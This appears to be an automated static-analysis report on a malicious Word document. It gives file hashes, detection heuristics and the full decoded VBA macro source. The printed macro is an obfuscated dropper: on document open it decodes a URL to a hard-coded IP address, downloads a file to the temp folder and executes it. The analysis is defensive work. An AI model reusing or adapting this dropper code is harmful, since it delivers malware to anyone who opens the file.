Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 26b8eb820d92de5f…

MALICIOUS

Office (OLE)

125.0 KB Created: 2018-10-04 14:37:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: a36e49307cbc28b4a663b89f9b32d3bb SHA-1: f75bf0dfb104fc4a917b856b73ba91a323d9a111 SHA-256: 26b8eb820d92de5fb26bcc4635865fd4e533e9bb3e5049b206f2884a8a60b810
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open macro that uses CreateObject to download and execute a file from a URL. The document body explicitly prompts the user to 'Enable content' to view the document, indicating a social engineering lure. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' confirms the macro's intent to download and execute a payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6922941-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6922941-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£ = ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹ = CreateObject("microsoft.xmlhttp")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´ = Environ("tmp") + »¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²("\ä§Ú¥T.ÂÛÂ")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8935 bytes
SHA-256: 45a7ae21cc5b832c72085990c5684d377841f7008f65991a04dc3e74d665dbe4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function »¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²(ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««)
        ª²«´¾©¾¼¹«¬°©£²¢¶¿¯¢¡µ¬¸¦´¨¥·¼¶§©©ª§¿»¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥ = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        ¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º» = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««)
            ·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨ = InStr(ª²«´¾©¾¼¹«¬°©£²¢¶¿¯¢¡µ¬¸¦´¨¥·¼¶§©©ª§¿»¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥, Mid(ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««, i, 1))
            If ·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨ > 0 Then
                ¤´ª²«´¾©¾¼¹«¬°©£²¢¶¿¯¢¡µ¬¸¦´¨¥·¼¶§©©ª§¿»¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½ = Mid(¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º», ·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨, 1)
                ·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶ = ·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶ + ¤´ª²«´¾©¾¼¹«¬°©£²¢¶¿¯¢¡µ¬¸¦´¨¥·¼¶§©©ª§¿»¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½
            Else
                ·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶ = ·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶ + Mid(ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««, i, 1)
            End If
        Next
        »¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿² = ·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶
    End Function

Private Sub Document_Open()
Dim ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹
Set ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹ = CreateObject("microsoft.xmlhttp")
Dim ¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´
Dim »¯¯¿¬²¶º£µµ¾¯®½¤¶²¨¼½¥¼¾¨ªº¬³³¬§°®¢¯°»¥»®½¦¾£¬¦£¥³¼ª¥¥²¿¼¢¡«¨´¸²ª®¬®ª»¿«¢¾¾§®«¾¢¿³
Set »¯¯¿¬²¶º£µµ¾¯®½¤¶²¨¼½¥¼¾¨ªº¬³³¬§°®¢¯°»¥»®½¦¾£¬¦£¥³¼ª¥¥²¿¼¢¡«¨´¸²ª®¬®ª»¿«¢¾¾§®«¾¢¿³ = CreateObject("Shell.Application")

¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´ = Environ("tmp") + »¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²("\ä§Ú¥T.ÂÛÂ")
¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.Open "GET", »¿³¬¹¬ª¨®²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²("hÖÖÓ://²00.6³.45.1²9/ÖhÂmÂÕ/_ÒÙÖÓÙÖ56ãàA00.ÂÛÂ"), False
¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.send
²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£ = ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.responseBody
If ¿²ª°¨¦º¥²£¹·ª³®¼º®¤µ®º¯¡¤½¾³¿¬¨¯µºº¹¼¥¡´©¢¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹.Status = 200 Then
Set ¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥ = CreateObject("adodb.stream")
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.Open
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.Type = 1
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.Write ²¬·£¦¬¡¦«£³§§¿¸§¶½©»©½¿°§¨¬¢£»§·»¹¿®¥¸¹¾ª®´½§¶¯½·¥°°¡³¦ª¦¼««¢°²¤»ª¯·¤£º¥¢·½¦³¥®³¯¿²ª°¨¦º¥²£
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.SaveToFile ¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´, 2
¾®¢³£¿½½¼¿¶º¾§¹¹¬¼¾¹§º£¤¯º©¯»¬¦¿¾··§£µ©³ªµ¿¨¿¾ºª«²¨¢³¡·¯®¡°¶«¹¥µ§¤¸½·¦¨¨©¦¯¼¯´«º«©§¬³«¸¢¥.Close
End If
»¯¯¿¬²¶º£µµ¾¯®½¤¶²¨¼½¥¼¾¨ªº¬³³¬§°®¢¯°»¥»®½¦¾£¬¦£¥³¼ª¥¥²¿¼¢¡«¨´¸²ª®¬®ª»¿«¢¾¾§®«¾¢¿³.Open (¢¸º»·©¡¥¯¶·«¶¸¯¾´¼¤¤¼®¦»¨º¦µ«µ»¸¬¸©¼¬©«¤¶¾««¥¹¶¨¦½¯£²¤¾¼¼»¾µ¹½¨¸¸®»½¸¨¹¤¥¿¹ª¿º®§¾½¶¶¨¤´)


End Sub

Attribute VB_Name = "NewMacros"
Sub Oriuuhgj()
'
' Oriuuhgj Macro
'
'

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.